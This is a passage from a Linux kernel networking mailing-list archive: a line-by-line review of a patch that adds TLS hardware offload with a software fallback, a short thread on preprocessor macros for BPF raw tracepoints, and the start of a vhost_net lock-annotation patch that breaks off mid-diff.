>> + goto out;
>> + }
>> +
>> + offload_ctx = kzalloc(TLS_OFFLOAD_CONTEXT_SIZE, GFP_KERNEL);
>> + if (!offload_ctx) {
>> + rc = -ENOMEM;
>> + goto free_marker_record;
>> + }
>> +
>> + crypto_info = &ctx->crypto_send;
>> + switch (crypto_info->cipher_type) {
>> + case TLS_CIPHER_AES_GCM_128: {
>> + nonece_size = TLS_CIPHER_AES_GCM_128_IV_SIZE;
>> + tag_size = TLS_CIPHER_AES_GCM_128_TAG_SIZE;
>> + iv_size = TLS_CIPHER_AES_GCM_128_IV_SIZE;
>> + iv = ((struct tls12_crypto_info_aes_gcm_128 *)crypto_info)->iv;
>> + rec_seq_size = TLS_CIPHER_AES_GCM_128_REC_SEQ_SIZE;
>> + rec_seq =
>> + ((struct tls12_crypto_info_aes_gcm_128 *)crypto_info)->rec_seq;
>> + break;
>> + }
>
> {}'s are unnecessary here
>
Fixed.
>> + default:
>> + rc = -EINVAL;
>> + goto free_offload_ctx;
>> + }
>> +
>> + ctx->prepend_size = TLS_HEADER_SIZE + nonece_size;
>> + ctx->tag_size = tag_size;
>> + ctx->iv_size = iv_size;
>> + ctx->iv = kmalloc(iv_size + TLS_CIPHER_AES_GCM_128_SALT_SIZE,
>> + GFP_KERNEL);
>> + if (!ctx->iv) {
>> + rc = -ENOMEM;
>> + goto free_offload_ctx;
>> + }
>> +
>> + memcpy(ctx->iv + TLS_CIPHER_AES_GCM_128_SALT_SIZE, iv, iv_size);
>> +
>> + ctx->rec_seq_size = rec_seq_size;
>> + ctx->rec_seq = kmalloc(rec_seq_size, GFP_KERNEL);
>> + if (!ctx->rec_seq) {
>> + rc = -ENOMEM;
>> + goto free_iv;
>> + }
>> + memcpy(ctx->rec_seq, rec_seq, rec_seq_size);
>> +
>> + rc = tls_sw_fallback_init(sk, offload_ctx, crypto_info);
>> + if (rc)
>> + goto free_rec_seq;
>> +
>> + /* start at rec_seq - 1 to account for the start marker record */
>> + memcpy(&rcd_sn, ctx->rec_seq, sizeof(rcd_sn));
>> + offload_ctx->unacked_record_sn = be64_to_cpu(rcd_sn) - 1;
>> +
>> + start_marker_record->end_seq = tcp_sk(sk)->write_seq;
>> + start_marker_record->len = 0;
>> + start_marker_record->num_frags = 0;
>> +
>> + INIT_LIST_HEAD(&offload_ctx->records_list);
>> + list_add_tail(&start_marker_record->list,
>> &offload_ctx->records_list);
>> + spin_lock_init(&offload_ctx->lock);
>> +
>> + static_branch_inc(&clean_acked_data_enabled);
>> + inet_csk(sk)->icsk_clean_acked = &tls_icsk_clean_acked;
>> + ctx->push_pending_record = tls_device_push_pending_record;
>> + offload_ctx->sk_destruct = sk->sk_destruct;
>> +
>> + /* TLS offload is greatly simplified if we don't send
>> + * SKBs where only part of the payload needs to be encrypted.
>> + * So mark the last skb in the write queue as end of record.
>> + */
>> + skb = tcp_write_queue_tail(sk);
>> + if (skb)
>> + TCP_SKB_CB(skb)->eor = 1;
>> +
>> + refcount_set(&ctx->refcount, 1);
>> +
>> + /* We support starting offload on multiple sockets
>> + * concurrently, so we only need a read lock here.
>> + * This lock must preceed get_netdev_for_sock to prevent races
>> between
>> + * NETDEV_DOWN and setsockopt.
>> + */
>> + down_read(&device_offload_lock);
>> + netdev = get_netdev_for_sock(sk);
>> + if (!netdev) {
>> + pr_err_ratelimited("%s: netdev not found\n", __func__);
>> + rc = -EINVAL;
>> + goto release_lock;
>> + }
>> +
>> + if (!(netdev->features & NETIF_F_HW_TLS_TX)) {
>> + rc = -ENOTSUPP;
>> + goto release_netdev;
>> + }
>> +
>> + /* Avoid offloading if the device is down
>> + * We don't want to offload new flows after
>> + * the NETDEV_DOWN event
>> + */
>> + if (!(netdev->flags & IFF_UP)) {
>> + rc = -EINVAL;
>> + goto release_netdev;
>> + }
>> +
>> + ctx->priv_ctx = offload_ctx;
>> + rc = netdev->tlsdev_ops->tls_dev_add(netdev, sk,
>> TLS_OFFLOAD_CTX_DIR_TX,
>
> Do you have a check somewhere that guarantees any netdev with
> NETIF_F_HW_TLS_TX set actually has the tlsdev_ops defined so you can
> call this without checking it?
>
I'll add a check in the FEAT_CHANGE netdev event.
>> + &ctx->crypto_send,
>> + tcp_sk(sk)->write_seq);
>> + if (rc)
>> + goto release_netdev;
>> +
>> + ctx->netdev = netdev;
>> +
>> + spin_lock_irq(&tls_device_lock);
>> + list_add_tail(&ctx->list, &tls_device_list);
>> + spin_unlock_irq(&tls_device_lock);
>> +
>> + sk->sk_validate_xmit_skb = tls_validate_xmit_skb;
>> + /* following this assignment tls_is_sk_tx_device_offloaded
>> + * will return true and the context might be accessed
>> + * by the netdev's xmit function.
>> + */
>> + smp_store_release(&sk->sk_destruct,
>> + &tls_device_sk_destruct);
>> + up_read(&device_offload_lock);
>> + goto out;
>> +
>> +release_netdev:
>> + dev_put(netdev);
>> +release_lock:
>> + up_read(&device_offload_lock);
>> + static_branch_dec(&clean_acked_data_enabled);
>> + crypto_free_aead(offload_ctx->aead_send);
>> +free_rec_seq:
>> + kfree(ctx->rec_seq);
>> +free_iv:
>> + kfree(ctx->iv);
>> +free_offload_ctx:
>> + kfree(offload_ctx);
>> + ctx->priv_ctx = NULL;
>> +free_marker_record:
>> + kfree(start_marker_record);
>> +out:
>> + return rc;
>> +}
>> +
>> +static int tls_device_down(struct net_device *netdev)
>> +{
>> + struct tls_context *ctx, *tmp;
>> + unsigned long flags;
>> + LIST_HEAD(list);
>> +
>> + /* Request a write lock to block new offload attempts
>> + */
>
> single line comment
>
Fixed.
>> + down_write(&device_offload_lock);
>> +
>> + spin_lock_irqsave(&tls_device_lock, flags);
>> + list_for_each_entry_safe(ctx, tmp, &tls_device_list, list) {
>> + if (ctx->netdev != netdev ||
>> + !refcount_inc_not_zero(&ctx->refcount))
>> + continue;
>> +
>> + list_move(&ctx->list, &list);
>> + }
>> + spin_unlock_irqrestore(&tls_device_lock, flags);
>> +
>> + list_for_each_entry_safe(ctx, tmp, &list, list) {
>> + netdev->tlsdev_ops->tls_dev_del(netdev, ctx,
>> + TLS_OFFLOAD_CTX_DIR_TX);
>
> Are tlsdev_ops and tls_dev_del defined?
>
I'll add a check in FEAT_CHANGE.
>> + ctx->netdev = NULL;
>> + dev_put(netdev);
>> + list_del_init(&ctx->list);
>> +
>> + if (refcount_dec_and_test(&ctx->refcount))
>> + tls_device_free_ctx(ctx);
>> + }
>> +
>> + up_write(&device_offload_lock);
>> +
>> + flush_work(&tls_device_gc_work);
>> +
>> + return NOTIFY_DONE;
>> +}
>> +
>> +static int tls_dev_event(struct notifier_block *this, unsigned long
>> event,
>> + void *ptr)
>> +{
>> + struct net_device *dev = netdev_notifier_info_to_dev(ptr);
>> +
>> + if (!(dev->features & NETIF_F_HW_TLS_TX))
>> + return NOTIFY_DONE;
>> +
>> + switch (event) {
>> + case NETDEV_REGISTER:
>> + case NETDEV_FEAT_CHANGE:
>> + return dev->tlsdev_ops ? NOTIFY_DONE : NOTIFY_BAD;
>
> Okay, you've got a check for tlsdev_ops, but what about the function
> pointers that are assumed to be good?
>
You are right, I'll add a check here.
>> + case NETDEV_DOWN:
>> + return tls_device_down(dev);
>> + }
>> + return NOTIFY_DONE;
>> +}
>> +
>> +static struct notifier_block tls_dev_notifier = {
>> + .notifier_call = tls_dev_event,
>> +};
>> +
>> +void __init tls_device_init(void)
>> +{
>> + register_netdevice_notifier(&tls_dev_notifier);
>> +}
>> +
>> +void __exit tls_device_cleanup(void)
>> +{
>> + unregister_netdevice_notifier(&tls_dev_notifier);
>> + flush_work(&tls_device_gc_work);
>> +}
>> diff --git a/net/tls/tls_device_fallback.c
>> b/net/tls/tls_device_fallback.c
>> new file mode 100644
>> index 000000000000..f1302f479209
>> --- /dev/null
>> +++ b/net/tls/tls_device_fallback.c
>> @@ -0,0 +1,412 @@
>> +/* Copyright (c) 2018, Mellanox Technologies All rights reserved.
>> + *
>> + * This software is available to you under a choice of one of two
>> + * licenses. You may choose to be licensed under the terms of the GNU
>> + * General Public License (GPL) Version 2, available from the file
>> + * COPYING in the main directory of this source tree, or the
>> + * OpenIB.org BSD license below:
>> + *
>> + * Redistribution and use in source and binary forms, with or
>> + * without modification, are permitted provided that the following
>> + * conditions are met:
>> + *
>> + * - Redistributions of source code must retain the above
>> + * copyright notice, this list of conditions and the following
>> + * disclaimer.
>> + *
>> + * - Redistributions in binary form must reproduce the above
>> + * copyright notice, this list of conditions and the following
>> + * disclaimer in the documentation and/or other materials
>> + * provided with the distribution.
>> + *
>> + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
>> + * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
>> + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
>> + * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
>> + * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
>> + * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
>> + * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
>> + * SOFTWARE.
>> + */
>> +
>> +#include <net/tls.h>
>> +#include <crypto/aead.h>
>> +#include <crypto/scatterwalk.h>
>> +#include <net/ip6_checksum.h>
>> +
>> +static void chain_to_walk(struct scatterlist *sg, struct scatter_walk
>> *walk)
>> +{
>> + struct scatterlist *src = walk->sg;
>> + int diff = walk->offset - src->offset;
>> +
>> + sg_set_page(sg, sg_page(src),
>> + src->length - diff, walk->offset);
>> +
>> + scatterwalk_crypto_chain(sg, sg_next(src), 0, 2);
>> +}
>> +
>> +static int tls_enc_record(struct aead_request *aead_req,
>> + struct crypto_aead *aead, char *aad, char *iv,
>> + __be64 rcd_sn, struct scatter_walk *in,
>> + struct scatter_walk *out, int *in_len)
>> +{
>> + unsigned char buf[TLS_HEADER_SIZE + TLS_CIPHER_AES_GCM_128_IV_SIZE];
>> + struct scatterlist sg_in[3];
>> + struct scatterlist sg_out[3];
>> + u16 len;
>> + int rc;
>> +
>> + len = min_t(int, *in_len, ARRAY_SIZE(buf));
>> +
>> + scatterwalk_copychunks(buf, in, len, 0);
>> + scatterwalk_copychunks(buf, out, len, 1);
>> +
>> + *in_len -= len;
>> + if (!*in_len)
>> + return 0;
>> +
>> + scatterwalk_pagedone(in, 0, 1);
>> + scatterwalk_pagedone(out, 1, 1);
>> +
>> + len = buf[4] | (buf[3] << 8);
>> + len -= TLS_CIPHER_AES_GCM_128_IV_SIZE;
>> +
>> + tls_make_aad(aad, len - TLS_CIPHER_AES_GCM_128_TAG_SIZE,
>> + (char *)&rcd_sn, sizeof(rcd_sn), buf[0]);
>> +
>> + memcpy(iv + TLS_CIPHER_AES_GCM_128_SALT_SIZE, buf + TLS_HEADER_SIZE,
>> + TLS_CIPHER_AES_GCM_128_IV_SIZE);
>> +
>> + sg_init_table(sg_in, ARRAY_SIZE(sg_in));
>> + sg_init_table(sg_out, ARRAY_SIZE(sg_out));
>> + sg_set_buf(sg_in, aad, TLS_AAD_SPACE_SIZE);
>> + sg_set_buf(sg_out, aad, TLS_AAD_SPACE_SIZE);
>> + chain_to_walk(sg_in + 1, in);
>> + chain_to_walk(sg_out + 1, out);
>> +
>> + *in_len -= len;
>> + if (*in_len < 0) {
>> + *in_len += TLS_CIPHER_AES_GCM_128_TAG_SIZE;
>> + if (*in_len < 0)
>> + /* the input buffer doesn't contain the entire record.
>
> s/./, so/
>
Fixed.
>> + * trim len accordingly. The resulting authentication tag
>> + * will contain garbage. but we don't care as we won't
>
> s/garbage./garbage,/
>
Fixed.
>> + * include any of it in the output skb
>> + * Note that we assume the output buffer length
>> + * is larger then input buffer length + tag size
>> + */
>> + len += *in_len;
>
> Especially with that large of a comment, I think the if (*in_len < 0)
> should be after and right next to the one line it protects.
>
Sure.
>> +
>> + *in_len = 0;
>> + }
>> +
>> + if (*in_len) {
>> + scatterwalk_copychunks(NULL, in, len, 2);
>> + scatterwalk_pagedone(in, 0, 1);
>> + scatterwalk_copychunks(NULL, out, len, 2);
>> + scatterwalk_pagedone(out, 1, 1);
>> + }
>> +
>> + len -= TLS_CIPHER_AES_GCM_128_TAG_SIZE;
>> + aead_request_set_crypt(aead_req, sg_in, sg_out, len, iv);
>> +
>> + rc = crypto_aead_encrypt(aead_req);
>> +
>> + return rc;
>> +}
>> +
>> +static void tls_init_aead_request(struct aead_request *aead_req,
>> + struct crypto_aead *aead)
>> +{
>> + aead_request_set_tfm(aead_req, aead);
>> + aead_request_set_ad(aead_req, TLS_AAD_SPACE_SIZE);
>> +}
>> +
>> +static struct aead_request *tls_alloc_aead_request(struct crypto_aead
>> *aead,
>> + gfp_t flags)
>> +{
>> + unsigned int req_size = sizeof(struct aead_request) +
>> + crypto_aead_reqsize(aead);
>> + struct aead_request *aead_req;
>> +
>> + aead_req = kzalloc(req_size, flags);
>> + if (!aead_req)
>> + return NULL;
>> +
>> + tls_init_aead_request(aead_req, aead);
>> + return aead_req;
>
> This could be turned around and shortened a little
>
> aead_req = kzalloc(req_size, flags);
> if (aead_req)
> tls_init_aead_request(aead_req, aead);
> return aead_req;
>
>
Fixed. Thanks.
>> +}
>> +
>> +static int tls_enc_records(struct aead_request *aead_req,
>> + struct crypto_aead *aead, struct scatterlist *sg_in,
>> + struct scatterlist *sg_out, char *aad, char *iv,
>> + u64 rcd_sn, int len)
>> +{
>> + struct scatter_walk out, in;
>> + int rc;
>> +
>> + scatterwalk_start(&in, sg_in);
>> + scatterwalk_start(&out, sg_out);
>> +
>> + do {
>> + rc = tls_enc_record(aead_req, aead, aad, iv,
>> + cpu_to_be64(rcd_sn), &in, &out, &len);
>> + rcd_sn++;
>> +
>> + } while (rc == 0 && len);
>> +
>> + scatterwalk_done(&in, 0, 0);
>> + scatterwalk_done(&out, 1, 0);
>> +
>> + return rc;
>> +}
>> +
>> +/* Can't use icsk->icsk_af_ops->send_check here because the ip addresses
>> + * might have been changed by NAT.
>> + */
>> +static inline void update_chksum(struct sk_buff *skb, int headln)
>> +{
>> + struct tcphdr *th = tcp_hdr(skb);
>> + int datalen = skb->len - headln;
>> + const struct ipv6hdr *ipv6h;
>> + const struct iphdr *iph;
>> +
>> + /* We only changed the payload so if we are using partial we don't
>> + * need to update anything.
>> + */
>> + if (likely(skb->ip_summed == CHECKSUM_PARTIAL))
>> + return;
>> +
>> + skb->ip_summed = CHECKSUM_PARTIAL;
>> + skb->csum_start = skb_transport_header(skb) - skb->head;
>> + skb->csum_offset = offsetof(struct tcphdr, check);
>> +
>> + if (skb->sk->sk_family == AF_INET6) {
>> + ipv6h = ipv6_hdr(skb);
>> + th->check = ~csum_ipv6_magic(&ipv6h->saddr, &ipv6h->daddr,
>> + datalen, IPPROTO_TCP, 0);
>> + } else {
>> + iph = ip_hdr(skb);
>> + th->check = ~csum_tcpudp_magic(iph->saddr, iph->daddr, datalen,
>> + IPPROTO_TCP, 0);
>> + }
>> +}
>> +
>> +static void complete_skb(struct sk_buff *nskb, struct sk_buff *skb,
>> int headln)
>> +{
>> + skb_copy_header(nskb, skb);
>> +
>> + skb_put(nskb, skb->len);
>> + memcpy(nskb->data, skb->data, headln);
>> + update_chksum(nskb, headln);
>> +
>> + nskb->destructor = skb->destructor;
>> + nskb->sk = skb->sk;
>> + skb->destructor = NULL;
>> + skb->sk = NULL;
>> + refcount_add(nskb->truesize - skb->truesize,
>> + &nskb->sk->sk_wmem_alloc);
>> +}
>> +
>> +/* This function may be called after the user socket is already
>> + * closed so make sure we don't use anything freed during
>> + * tls_sk_proto_close here
>> + */
>> +static struct sk_buff *tls_sw_fallback(struct sock *sk, struct
>> sk_buff *skb)
>> +{
>> + int tcp_header_size = tcp_hdrlen(skb);
>> + int tcp_payload_offset = skb_transport_offset(skb) +
>> tcp_header_size;
>> + int payload_len = skb->len - tcp_payload_offset;
>> + struct tls_context *tls_ctx = tls_get_ctx(sk);
>> + struct tls_offload_context *ctx = tls_offload_ctx(tls_ctx);
>> + int remaining, buf_len, resync_sgs, rc, i = 0;
>> + void *buf, *dummy_buf, *iv, *aad;
>> + struct scatterlist *sg_in, sg_out[3];
>> + u32 tcp_seq = ntohl(tcp_hdr(skb)->seq);
>> + struct aead_request *aead_req;
>> + struct sk_buff *nskb = NULL;
>> + struct tls_record_info *record;
>> + unsigned long flags;
>> + s32 sync_size;
>> + u64 rcd_sn;
>> +
>> + /* worst case is:
>> + * MAX_SKB_FRAGS in tls_record_info
>> + * MAX_SKB_FRAGS + 1 in SKB head and frags.
>> + */
>> + int sg_in_max_elements = 2 * MAX_SKB_FRAGS + 1;
>> +
>> + if (!payload_len)
>> + return skb;
>> +
>> + sg_in = kmalloc_array(sg_in_max_elements, sizeof(*sg_in),
>> GFP_ATOMIC);
>> + if (!sg_in)
>> + goto free_orig;
>> +
>> + sg_init_table(sg_in, sg_in_max_elements);
>> + sg_init_table(sg_out, ARRAY_SIZE(sg_out));
>> +
>> + spin_lock_irqsave(&ctx->lock, flags);
>> + record = tls_get_record(ctx, tcp_seq, &rcd_sn);
>> + if (!record) {
>> + spin_unlock_irqrestore(&ctx->lock, flags);
>> + WARN(1, "Record not found for seq %u\n", tcp_seq);
>> + goto free_sg;
>> + }
>> +
>> + sync_size = tcp_seq - tls_record_start_seq(record);
>> + if (sync_size < 0) {
>> + int is_start_marker = tls_record_is_start_marker(record);
>> +
>> + spin_unlock_irqrestore(&ctx->lock, flags);
>> + if (!is_start_marker)
>> + /* This should only occur if the relevant record was
>> + * already acked. In that case it should be ok
>> + * to drop the packet and avoid retransmission.
>> + *
>> + * There is a corner case where the packet contains
>> + * both an acked and a non-acked record.
>> + * We currently don't handle that case and rely
>> + * on TCP to retranmit a packet that doesn't contain
>> + * already acked payload.
>> + */
>> + goto free_orig;
>
> Again, let's keep the "if ..." closer to the one line being protected.
>
Fixed.
>> +
>> + if (payload_len > -sync_size) {
>> + WARN(1, "Fallback of partially offloaded packets is not
>> supported\n");
>> + goto free_sg;
>> + } else {
>> + return skb;
>> + }
>> + }
>> +
>> + remaining = sync_size;
>
> It would be a bit clearer, and more future safe, to set i=0 here rather
> than rely on the initialization way back at the top of the function. In
> fact, why not use a normal for-loop?
> for (i = 0; remaining > 0; i++)
>
Sure.
>> + while (remaining > 0) {
>> + skb_frag_t *frag = &record->frags[i];
>> +
>> + __skb_frag_ref(frag);
>> + sg_set_page(sg_in + i, skb_frag_page(frag),
>> + skb_frag_size(frag), frag->page_offset);
>> +
>> + remaining -= skb_frag_size(frag);
>> +
>> + if (remaining < 0)
>> + sg_in[i].length += remaining;
>> +
>> + i++;
>> + }
>> + spin_unlock_irqrestore(&ctx->lock, flags);
>> + resync_sgs = i;
>> +
>> + aead_req = tls_alloc_aead_request(ctx->aead_send, GFP_ATOMIC);
>> + if (!aead_req)
>> + goto put_sg;
>> +
>> + buf_len = TLS_CIPHER_AES_GCM_128_SALT_SIZE +
>> + TLS_CIPHER_AES_GCM_128_IV_SIZE +
>> + TLS_AAD_SPACE_SIZE +
>> + sync_size +
>> + tls_ctx->tag_size;
>> + buf = kmalloc(buf_len, GFP_ATOMIC);
>> + if (!buf)
>> + goto free_req;
>> +
>> + nskb = alloc_skb(skb_headroom(skb) + skb->len, GFP_ATOMIC);
>> + if (!nskb)
>> + goto free_buf;
>> +
>> + skb_reserve(nskb, skb_headroom(skb));
>> +
>> + iv = buf;
>> +
>> + memcpy(iv, tls_ctx->crypto_send_aes_gcm_128.salt,
>> + TLS_CIPHER_AES_GCM_128_SALT_SIZE);
>> + aad = buf + TLS_CIPHER_AES_GCM_128_SALT_SIZE +
>> + TLS_CIPHER_AES_GCM_128_IV_SIZE;
>> + dummy_buf = aad + TLS_AAD_SPACE_SIZE;
>> +
>> + sg_set_buf(&sg_out[0], dummy_buf, sync_size);
>> + sg_set_buf(&sg_out[1], nskb->data + tcp_payload_offset,
>> + payload_len);
>> + /* Add room for authentication tag produced by crypto */
>> + dummy_buf += sync_size;
>> + sg_set_buf(&sg_out[2], dummy_buf, tls_ctx->tag_size);
>> + rc = skb_to_sgvec(skb, &sg_in[i], tcp_payload_offset,
>> + payload_len);
>> + if (rc < 0)
>> + goto free_nskb;
>> +
>> + rc = tls_enc_records(aead_req, ctx->aead_send, sg_in, sg_out,
>> aad, iv,
>> + rcd_sn, sync_size + payload_len);
>> + if (rc < 0)
>> + goto free_nskb;
>> +
>> + complete_skb(nskb, skb, tcp_payload_offset);
>> +
>> + /* validate_xmit_skb_list assumes that if the skb wasn't segmented
>> + * nskb->prev will point to the skb itself
>> + */
>> + nskb->prev = nskb;
>> +free_buf:
>> + kfree(buf);
>> +free_req:
>> + kfree(aead_req);
>> +put_sg:
>> + for (i = 0; i < resync_sgs; i++)
>> + put_page(sg_page(&sg_in[i]));
>> +free_sg:
>> + kfree(sg_in);
>> +free_orig:
>> + kfree_skb(skb);
>> + return nskb;
>> +
>> +free_nskb:
>> + kfree_skb(nskb);
>> + nskb = NULL;
>> + goto free_buf;
>> +}
>> +
>> +struct sk_buff *tls_validate_xmit_skb(struct sock *sk,
>> + struct net_device *dev,
>> + struct sk_buff *skb)
>> +{
>> + if (dev == tls_get_ctx(sk)->netdev)
>> + return skb;
>> +
>> + return tls_sw_fallback(sk, skb);
>> +}
>> +
>> +int tls_sw_fallback_init(struct sock *sk,
>> + struct tls_offload_context *offload_ctx,
>> + struct tls_crypto_info *crypto_info)
>> +{
>> + const u8 *key;
>> + int rc;
>> +
>> + offload_ctx->aead_send =
>> + crypto_alloc_aead("gcm(aes)", 0, CRYPTO_ALG_ASYNC);
>> + if (IS_ERR(offload_ctx->aead_send)) {
>> + rc = PTR_ERR(offload_ctx->aead_send);
>> + pr_err_ratelimited("crypto_alloc_aead failed rc=%d\n", rc);
>> + offload_ctx->aead_send = NULL;
>> + goto err_out;
>> + }
>> +
>> + key = ((struct tls12_crypto_info_aes_gcm_128 *)crypto_info)->key;
>> +
>> + rc = crypto_aead_setkey(offload_ctx->aead_send, key,
>> + TLS_CIPHER_AES_GCM_128_KEY_SIZE);
>> + if (rc)
>> + goto free_aead;
>> +
>> + rc = crypto_aead_setauthsize(offload_ctx->aead_send,
>> + TLS_CIPHER_AES_GCM_128_TAG_SIZE);
>> + if (rc)
>> + goto free_aead;
>> +
>> + return 0;
>> +free_aead:
>> + crypto_free_aead(offload_ctx->aead_send);
>> +err_out:
>> + return rc;
>> +}
>> diff --git a/net/tls/tls_main.c b/net/tls/tls_main.c
>> index d824d548447e..e0dface33017 100644
>> --- a/net/tls/tls_main.c
>> +++ b/net/tls/tls_main.c
>> @@ -54,6 +54,9 @@ enum {
>> enum {
>> TLS_BASE_TX,
>> TLS_SW_TX,
>> +#ifdef CONFIG_TLS_DEVICE
>> + TLS_HW_TX,
>> +#endif
>> TLS_NUM_CONFIG,
>> };
>> @@ -416,11 +419,19 @@ static int do_tls_setsockopt_tx(struct sock *sk,
>> char __user *optval,
>> goto err_crypto_info;
>> }
>> - /* currently SW is default, we will have ethtool in future */
>> - rc = tls_set_sw_offload(sk, ctx);
>> - tx_conf = TLS_SW_TX;
>> - if (rc)
>> - goto err_crypto_info;
>> +#ifdef CONFIG_TLS_DEVICE
>> + rc = tls_set_device_offload(sk, ctx);
>> + tx_conf = TLS_HW_TX;
>> + if (rc) {
>> +#else
>> + {
>> +#endif
>> + /* if HW offload fails fallback to SW */
>> + rc = tls_set_sw_offload(sk, ctx);
>> + tx_conf = TLS_SW_TX;
>> + if (rc)
>> + goto err_crypto_info;
>> + }
>> ctx->tx_conf = tx_conf;
>> update_sk_prot(sk, ctx);
>> @@ -473,6 +484,12 @@ static void build_protos(struct proto *prot,
>> struct proto *base)
>> prot[TLS_SW_TX] = prot[TLS_BASE_TX];
>> prot[TLS_SW_TX].sendmsg = tls_sw_sendmsg;
>> prot[TLS_SW_TX].sendpage = tls_sw_sendpage;
>> +
>> +#ifdef CONFIG_TLS_DEVICE
>> + prot[TLS_HW_TX] = prot[TLS_SW_TX];
>> + prot[TLS_HW_TX].sendmsg = tls_device_sendmsg;
>> + prot[TLS_HW_TX].sendpage = tls_device_sendpage;
>> +#endif
>> }
>> static int tls_init(struct sock *sk)
>> @@ -531,6 +548,9 @@ static int __init tls_register(void)
>> {
>> build_protos(tls_prots[TLSV4], &tcp_prot);
>> +#ifdef CONFIG_TLS_DEVICE
>> + tls_device_init();
>> +#endif
>> tcp_register_ulp(&tcp_tls_ulp_ops);
>> return 0;
>> @@ -539,6 +559,9 @@ static int __init tls_register(void)
>> static void __exit tls_unregister(void)
>> {
>> tcp_unregister_ulp(&tcp_tls_ulp_ops);
>> +#ifdef CONFIG_TLS_DEVICE
>> + tls_device_cleanup();
>> +#endif
>> }
>> module_init(tls_register);
>>
^ permalink raw reply
* Re: [PATCH v2 bpf-next 5/8] bpf: introduce BPF_RAW_TRACEPOINT
From: Daniel Borkmann @ 2018-03-26 7:53 UTC (permalink / raw)
To: Alexei Starovoitov, davem
Cc: torvalds, peterz, rostedt, netdev, kernel-team, linux-api
In-Reply-To: <cea19b0f-0420-0620-2240-954a81e22659@fb.com>
On 03/24/2018 02:43 AM, Alexei Starovoitov wrote:
> On 3/23/18 5:58 PM, Alexei Starovoitov wrote:
>> On 3/23/18 4:13 PM, Daniel Borkmann wrote:
>>> On 03/22/2018 04:41 PM, Alexei Starovoitov wrote:
>>>> On 3/22/18 2:43 AM, Daniel Borkmann wrote:
>>>>> On 03/21/2018 07:54 PM, Alexei Starovoitov wrote:
[...]
>>>> I picked 6 as a good compromise and used it twice in bpf_trace_run1x()
>>>> Similar thing possible for u64 arg1, u64 arg2, ...
>>>> but it will be harder to read.
>>>> Looking forward what you can come up with.
>>>
>>> Just took a quick look, so the below one would work for generating the
>>> signature and function. I did till 9 here:
>>>
>>> #define UNPACK(...) __VA_ARGS__
>>> #define REPEAT_1(FN, DL, X, ...) FN(X)
>>> #define REPEAT_2(FN, DL, X, ...) FN(X) UNPACK DL REPEAT_1(FN, DL,
>>> __VA_ARGS__)
>>> #define REPEAT_3(FN, DL, X, ...) FN(X) UNPACK DL REPEAT_2(FN, DL,
>>> __VA_ARGS__)
>>> #define REPEAT_4(FN, DL, X, ...) FN(X) UNPACK DL REPEAT_3(FN, DL,
>>> __VA_ARGS__)
>>> #define REPEAT_5(FN, DL, X, ...) FN(X) UNPACK DL REPEAT_4(FN, DL,
>>> __VA_ARGS__)
>>> #define REPEAT_6(FN, DL, X, ...) FN(X) UNPACK DL REPEAT_5(FN, DL,
>>> __VA_ARGS__)
>>> #define REPEAT_7(FN, DL, X, ...) FN(X) UNPACK DL REPEAT_6(FN, DL,
>>> __VA_ARGS__)
>>> #define REPEAT_8(FN, DL, X, ...) FN(X) UNPACK DL REPEAT_7(FN, DL,
>>> __VA_ARGS__)
>>> #define REPEAT_9(FN, DL, X, ...) FN(X) UNPACK DL REPEAT_8(FN, DL,
>>> __VA_ARGS__)
>>> #define REPEAT(X, FN, DL, ...) REPEAT_##X(FN, DL, __VA_ARGS__)
>>>
>>> #define SARG(X) u64 arg##X
>>> #define COPY(X) args[X] = arg##X
>>>
>>> #define __DL_COM (,)
>>> #define __DL_SEM (;)
>>>
>>> #define __SEQ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9
>>>
>>> #define BPF_TRACE_DECL_x(x) \
>>> void bpf_trace_run##x(struct bpf_prog *prog, \
>>> REPEAT(x, SARG, __DL_COM, __SEQ))
>>> #define BPF_TRACE_DEFN_x(x) \
>>> void bpf_trace_run##x(struct bpf_prog *prog, \
>>> REPEAT(x, SARG, __DL_COM, __SEQ)) \
>>> { \
>>> u64 args[x]; \
>>> REPEAT(x, COPY, __DL_SEM, __SEQ); \
>>> __bpf_trace_run(prog, args); \
>>> } \
>>> EXPORT_SYMBOL_GPL(bpf_trace_run##x)
>>>
>>> So doing a ...
>>>
>>> BPF_TRACE_DECL_x(5);
>>> BPF_TRACE_DEFN_x(5);
>>
>> interestingly that in addition to above defining
>> #define __REPEAT(X, FN, DL, ...) REPEAT_##X(FN, DL, __VA_ARGS__)
>> to allow recursive expansion and doing
>> __REPEAT(12, BPF_TRACE_DECL_x, __DL_SEM, __SEQ_1_12);
>> almost works...
>> I'm guessing it's hitting preprocessor internal limit on
>> number of expressions to expand.
>> It expands 1-6 nicely and 7-12 are partially expanded :)
>
> it's not the limit I'm hitting, but self referential issue.
> Exactly half gets expanded.
> I don't think there is an easy workaround other
> than duplicating the whole chain of REPEAT macro twice
> with slightly different name.
Hmm, that is kind of annoying, probably worth filing a bug on gcc, we still
won't be able to use it near term though.
Given it expands just fine from 1-6 arguments, I think Steven had a good
choice on upper limit of 6 args then (including build error with above). ;-)
Thanks,
Daniel
^ permalink raw reply
* [PATCH net] vhost_net: add missing lock nesting notation
From: Jason Wang @ 2018-03-26 8:10 UTC (permalink / raw)
To: mst, kvm, virtualization, netdev, linux-kernel
We try to hold TX virtqueue mutex in vhost_net_rx_peek_head_len()
after RX virtqueue mutex is held in handle_rx(). This requires an
appropriate lock nesting notation to calm down deadlock detector.
Fixes: 0308813724606 ("vhost_net: basic polling support")
Reported-by: syzbot+7f073540b1384a614e09@syzkaller.appspotmail.com
Signed-off-by: Jason Wang <jasowang@redhat.com>
---
drivers/vhost/net.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/drivers/vhost/net.c b/drivers/vhost/net.c
index 8139bc7..12bcfba 100644
--- a/drivers/vhost/net.c
+++ b/drivers/vhost/net.c
@@ -630,7 +630,7 @@ static int vhost_net_rx_peek_head_len(struct vhost_net *net, struct sock *sk)
if (!len && vq->busyloop_timeout) {
/* Both tx vq and rx socket were polled here */
- mutex_lock(&vq->mutex);
